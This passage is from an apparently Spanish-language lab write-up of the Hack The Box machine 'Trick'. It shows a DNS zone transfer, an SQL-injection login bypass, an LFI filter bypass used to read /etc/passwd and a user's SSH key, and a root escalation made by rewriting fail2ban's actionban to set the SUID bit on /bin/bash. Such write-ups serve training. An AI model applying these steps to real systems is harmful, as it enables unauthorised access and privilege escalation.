&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (UDP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;33&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;54&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; MSG SIZE rcvd&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;164&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con el dominio &lt;code&gt;trick.htb&lt;/code&gt; identificado, intento una transferencia de zona (&lt;strong&gt;AXFR&lt;/strong&gt;) para listar todos los subdominios configurados.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dig axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG &lt;span style="color:#ae81ff"&gt;9.20&lt;/span&gt;.&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;-Debian &amp;lt;&amp;lt;&amp;gt;&amp;gt; axfr trick.htb @10.129.95.104
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; global options&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; +cmd
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; NS trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; A &lt;span style="color:#ae81ff"&gt;127.0&lt;/span&gt;.0.1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; AAAA ::&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;preprod-payroll.trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; CNAME trick.htb.
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;trick.htb. &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;IN&lt;/span&gt; SOA trick.htb. root.trick.htb. &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;86400&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2419200&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;604800&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; Query time&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;40&lt;/span&gt; msec
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; SERVER&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;10.129&lt;/span&gt;.95.&lt;span style="color:#ae81ff"&gt;104&lt;/span&gt;&lt;span style="color:#75715e"&gt;#53(10.129.95.104) (TCP)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; WHEN&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Thu Jan &lt;span style="color:#ae81ff"&gt;22&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;18&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;36&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;11&lt;/span&gt; CET &lt;span style="color:#ae81ff"&gt;2026&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;;; XFR size&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; records (messages &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, bytes &lt;span style="color:#ae81ff"&gt;231&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Encuentro un subdominio interesante: &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;. Lo añado a mi &lt;code&gt;/etc/hosts&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id="acceso-inicial"&gt;Acceso Inicial&lt;/h2&gt;
&lt;h3 id="sql-injection-en-preprod-payroll"&gt;SQL Injection en Preprod-Payroll&lt;/h3&gt;
&lt;p&gt;Al acceder a &lt;code&gt;preprod-payroll.trick.htb&lt;/code&gt;, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b5-af30-cf69867e319e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-800c-b199-eb24c7ead9e4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;¡Éxito! Accedo al panel administrativo de gestión de nóminas.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8080-b5a8-dd586092195f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Explorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Usuario:&lt;/strong&gt; Enemigosss&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password:&lt;/strong&gt; SuperGucciRainbowCake&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-808d-8f84-f66b2f2ada93.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante &lt;em&gt;fuzzing&lt;/em&gt; de vhosts.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804e-912a-decb0b655520.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="lfi-en-preprod-marketing"&gt;LFI en Preprod-Marketing&lt;/h3&gt;
&lt;p&gt;El fuzzing revela otro subdominio: &lt;code&gt;preprod-marketing.trick.htb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8099-8cd9-c2bb698aaaa3.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Al navegar por esta web, observo que las páginas se cargan mediante un parámetro &lt;code&gt;page&lt;/code&gt;:
&lt;code&gt;http://preprod-marketing.trick.htb/index.php?page=services.html&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Esto es un indicador potencial de &lt;strong&gt;LFI&lt;/strong&gt;. Vamos a explorar…&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-804b-a832-f5642c21a818.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Pruebo cargas útiles básicas (&lt;code&gt;../../etc/passwd&lt;/code&gt;), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que &lt;code&gt;....//&lt;/code&gt; funciona para saltar directorios.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80d0-afbd-c5baa1544b41.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Podemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.&lt;/p&gt;
&lt;p&gt;Consigo leer el &lt;code&gt;/etc/passwd&lt;/code&gt; y confirmo la existencia del usuario &lt;code&gt;michael&lt;/code&gt;. Dado que tengo LFI, intento leer su clave privada SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-8054-9078-cb1d6e4e712d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Copio la clave (&lt;code&gt;id_rsa&lt;/code&gt;), le doy los permisos adecuados (&lt;code&gt;chmod 600&lt;/code&gt;) y me conecto como &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80eb-b923-e20c8da59aae.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Ya estoy dentro. Capturo la &lt;strong&gt;user flag&lt;/strong&gt;.&lt;/p&gt;
&lt;h2 id="escalada-de-privilegios"&gt;Escalada de Privilegios&lt;/h2&gt;
&lt;h3 id="enumeración-de-sudoers"&gt;Enumeración de Sudoers&lt;/h3&gt;
&lt;p&gt;Reviso los permisos de sudo del usuario &lt;code&gt;michael&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;uid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) gid=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael) groups=&lt;span style="color:#ae81ff"&gt;1001&lt;/span&gt;(michael),&lt;span style="color:#ae81ff"&gt;1002&lt;/span&gt;(security)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;~$ sudo -l
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Matching Defaults entries &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; michael on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; env_reset, mail_badpass, secure_path=/usr/local/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/local/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/usr/bin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/sbin\&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/bin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;User michael may run the following commands on trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; (root) NOPASSWD&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Puedo reiniciar el servicio &lt;strong&gt;Fail2Ban&lt;/strong&gt; como root sin contraseña.&lt;/p&gt;
&lt;h3 id="abuso-de-configuración-de-fail2ban"&gt;Abuso de configuración de Fail2Ban&lt;/h3&gt;
&lt;p&gt;Usamos esta guia que explica que es este ejecutable.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server"&gt;https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Fail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“&lt;code&gt;Fail2ban&lt;/code&gt; scans log files (e.g. &lt;strong&gt;/var/log/apache/error_log&lt;/strong&gt;) and &lt;strong&gt;bans IPs&lt;/strong&gt; that show the malicious signs (too many password failures, seeking for exploits, etc.)”&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Observo que el grupo &lt;code&gt;security&lt;/code&gt; (al que pertenezco: &lt;code&gt;groups=1001(michael),1002(security)&lt;/code&gt;) tiene permisos de escritura sobre los archivos de configuración en &lt;code&gt;action.d&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80b3-8c68-cb16d4674f5f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Existe un objeto principal el cual contiene la configuración global de los baneos, reside en &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;El archivo &lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; define que tras &lt;strong&gt;5 intentos fallidos&lt;/strong&gt;, la IP será baneada ejecutando una acción. La acción por defecto suele implicar &lt;code&gt;iptables-multiport&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-809e-970f-cf374ddde061.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Exploaramos ese archivo &lt;code&gt;iptables-multiport.conf&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;michael@trick&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/etc/fail2ban/action.d$ cat iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Fail2Ban configuration file&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Author: Cyril Jaquier&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Modified by Yaroslav Halchenko for multiport banning&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;INCLUDES&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;before = iptables-common.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Definition&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstart&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the start of Fail2Ban.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstart = &amp;lt;iptables&amp;gt; -N f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -A f2b-&amp;lt;name&amp;gt; -j &amp;lt;returntype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -I &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionstop&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once at the end of Fail2Ban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionstop = &amp;lt;iptables&amp;gt; -D &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -m multiport --dports &amp;lt;port&amp;gt; -j f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;actionflush&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;iptables&amp;gt; -X f2b-&amp;lt;name&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actioncheck&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed once before each actionban command&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actioncheck = &amp;lt;iptables&amp;gt; -n -L &amp;lt;chain&amp;gt; | grep -q &lt;span style="color:#e6db74"&gt;&amp;#39;f2b-&amp;lt;name&amp;gt;[ \t]&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when banning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = &amp;lt;iptables&amp;gt; -I f2b-&amp;lt;name&amp;gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Option: actionunban&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Notes.: command executed when unbanning an IP. Take care that the&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# command is executed with Fail2Ban user rights.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Tags: See jail.conf(5) man page&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Values: CMD&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionunban = &amp;lt;iptables&amp;gt; -D f2b-&amp;lt;name&amp;gt; -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[&lt;span style="color:#66d9ef"&gt;Init&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Edito el archivo &lt;code&gt;/etc/fail2ban/action.d/iptables-multiport.conf&lt;/code&gt;. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (&lt;code&gt;actionban&lt;/code&gt;) por uno que me otorgue permisos de root.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;mv iptables-multiport.conf .old
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cp .old iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim iptables-multiport.conf
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Con esto podemos modificar el archivo. ya que estamos dentro del grupo &lt;code&gt;security&lt;/code&gt; que nos permite mover archivos y reescribirlos.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;actionban = chmod u+s /bin/bash
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="ejecución"&gt;Ejecución&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Reinicio Fail2Ban para aplicar la configuración maliciosa:&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo /etc/init.d/fail2ban restart
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Podemos ver en el archivo&lt;code&gt;/etc/fail2ban/jail.conf&lt;/code&gt; cuantos intentos tenemos antes del baneo, son 5.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-80ba-bdb2-f3d41474a693.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta &lt;strong&gt;5 veces&lt;/strong&gt; para disparar la regla de baneo.&lt;/li&gt;
&lt;/ol&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ssh msassam@trick.htb
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# (Fallo la contraseña 5 veces intencionalmente)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Una vez activado el &amp;ldquo;ban&amp;rdquo;, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2f0888fa-f353-803f-8412-dfb4b0a0cb3e.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Tenemos shell como root!&lt;/p&gt;
